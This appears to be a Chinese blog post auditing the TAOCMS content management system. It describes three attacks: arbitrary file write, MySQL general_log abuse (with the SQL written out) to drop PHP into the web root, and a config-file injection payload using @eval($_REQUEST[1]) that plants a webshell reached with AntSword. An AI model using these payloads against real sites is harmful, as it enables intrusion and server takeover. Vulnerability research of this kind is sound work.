TAOCMS文件上传

简介

TAOCMS是一个完善支持多数据库(Sqlite/Mysql)的CMS网站内容管理系统,是国内最小的功能完善 的基于php+SQLite/Mysql的CMS。体积小(仅180Kb)速度快,包含文件管理、数据采集、 Memcache整 合、用户管理等强大功能,跨平台运行,支持SAE、BAE云服务。兼容PHP5和PHP7.代码 手写采用严格的数据过滤,保证服务器的安全稳定!

简简单单的文件上传

通过对源代码的扫描出现了几个奇怪函数

图片

跟进去看一下代码,这里会根据GET到的name来进行判断,再通过参数是否存在isdir来确定是否为 目录是创建目录,不是则创建文件fopen(),且未限制后缀直接get写入。

图片

再来看一下save函数,先判断是否有权限写入,如果权限存在写入即可。

图片

利用链为先利用create()函数创建文件,在利用save()函数进行内容写入,即可造成任意文件上传。

mysqlog getshell

看到这个功能点,执行sql语句跟进去

图片

图片

根据自己盲测感觉是没有过滤语句,根据路由跟进去在sql.php/excute()函数,这里看到直接把post 进来魔术函数转换了一下sqltext,我们跟进去看看,这里不是数组进入else分支利用stripslashes() 函数 删除由 addslashes()函数添加的反斜杠。去掉反斜杠可能是为了更好的适配把,我们这里就等于sql语句 未过滤,全部输入了。

图片

图片

我们在跟一下query()函数,这里跟进去看到直接原汤化原食,也没有任何操作直接mysql_query().

图片

俗话说不能getshell的功能都不是好功能,我们现在来思考一下,mysql数据库getshell的方式,大 家第一个想到的坑定就是mysql数据库log日志getshell,mysql数据库log日志getshell的必要条件

1、知道网站真实物理路径
2、root用户身份
3、MySQL 版本 > 5.0
  • 首先确定物理路径,其实这个cms很简单获取,不能说是十分简单把只能说是非常简单

图片

  • 确定是否为root权限,这里是假设的一种可能,就使用了root权限了

1.SHOW VARIABLES LIKE '%general%'
2.SELECT user();
3.SELECT version();

图片

图片

图片

  • 前提条件都符合,接下来就需要开启日志记录,把日志文件指向web目录即可

set global general_log = 'ON';
set global general_log_file ='D:/phpstudy_pro/WWW/taocms/test_1.php'
select "<?php phpinfo();?>"

图片

图片

图片

图片

图片

我们访问看看,至此靓仔们写入自己传家大宝贝即可~

图片

修改配置文件getshell

通过代码审计工具,扫描到在include\Model\config.php,存在file_put_contents()函数,我们这里 追踪一下看看$configData是不是可控。

图片

这里先判断是否存在修改权限,然后剔除无用参数,然后通过循环遍历出来其他参数,在经过 safeword()函数进行过滤写入,这里基本可以判断我们$configData是我们输入的,输入可控 我们来 跟进看看过滤是否存在绕过行为。

图片

这里safeword()存在两个函数的传入 一个传入的text的值,一个是写死的level=8,这里我不太能理 解这个写死是什么意思,不重要了我们跟一下逻辑,首先判断传入的text是不是数组,明显我们这次传 参是文本,然后进入switch语句,level的值写死为8,直接进入default分支,首先判断是不是sqlite数据 库,如果是就进行单引号替换为双引号,如果不是进入addslashs()函数。

图片

图片

这里我们继续跟进addslashs()函数,很简单就是调用addslashes()函数对输入内容进行过滤,就是 在预定义的字符前面添加反斜杠。

图片

图片

这里思考一下,我们需要怎么getshell呢,第一我们要选择数据库为sqlite,然后提交一下但是这里 站已经炸了,

图片

然后通过函数特性进行写入payload闭合就好了

define('WEBNAME', 'taoCMS演示'); //初始值
define('WEBNAME', '@eval($_REQUEST[1]);'); //正常写入后
define('WEBNAME', '\'');@eval($_REQUEST[1]);//'); //闭合后的payload
\');@eval($_REQUEST[1]);// 闭合后的提交paylod

图片

哈哈哈哈哈,成功炸掉网站

图片

这里监控到文件修改了,我们看看config文件有没有按照我们的想法写入,

图片

图片

蚁剑连接 OK 好的

图片

总结一下

如果是mysql的数据库,这个漏洞会炸站,大家谨慎使用 一不小心人就容易进去哈哈哈 ,靓仔们越 来越刑了啊 补救方法就是拿到shell后进入配置文件修改db 为mysql就好了 但是这个漏洞利用还是不推荐利用 真的真的,因为要是shell没写好的话真的会炸穿。

图片

  • 29
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
taoCMS是一个完善支持多数据库(Sqlite/Mysql)的CMS网站内容管理系统,是国内最小的功能完善的基于php+SQLite/Mysql的CMS。体积小(仅100Kb)速度快,包含文件管理、数据采集等强大功能,代码手写采用严格的数据过滤,保证服务器的安全稳定! taoCMS 2.5 Beta5 更新记录: 1、增加远程图片自动下载到本地服务器功能(感谢chengke) 2、支持安装在百度云服务BAE上 3、富文本编辑器xheditor升级到最新版(感谢xiaoniba) 4、增加缓存文件验证,防止直接访问缓存文件 5、安全加固,修复几个安全漏洞(感谢混世魔王和wooyun平台) 6、修复wap留言无法显示的BUG 7、调整跳转进度显示方式 8、改进安装提示 9、评论后台增加分页功能(感谢xiaoniba) 10、后台首页增加通知功能,便于发布紧急更新提示 11、后台首页增加捐赠连接,有你支持,我会更努力! 12、默认使用xheditor编辑器,不再单独提供精简版 13、在BAE/SAE等云服务器修改模板无需在本地生成缓存 14、修正sqlite的一个特殊字符写入失败错误(感谢Ethan) 15、修复安全问题,感谢shack2、kobin97、yy520 【使用方法】 上传程序到服务器,通过网址访问http://网站地址/intall.php,程序会自动提示权限问题,按照要求更改即可。 1、使用sqlite数据库: 请在数据库类型那里选sqlite,填写数据库文件所在地址和数据表前缀即可 2、使用mysql数据库 安装mysql数据库,请在数据库类型那里选mysql,数据库存放地址添写“|数据库地址|用户名|密码|数据库名”,例如“|localhost|root|root|taocms”,不包括双引号)。 安装完毕,建议删除install.php文件。 3、【登录后台(默认用户名admin密码tao),设定taocms所在的网址】 附带提供一套blog模板,参照www.taocms.org。 【2.4到2.5升级方法】 备份data目录、pictures目录、template目录,进入后台综合设置-导入导出,备份所有文章数据(目前评论无法导入2.5系统),安装2.5版,将备份文件导入2.5即可(请做好数据备份,如有异常,请到taoCMS官网论反映)。 【版权声明】 taoCMS为开源PHP系统,使用者需声明系统版权
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值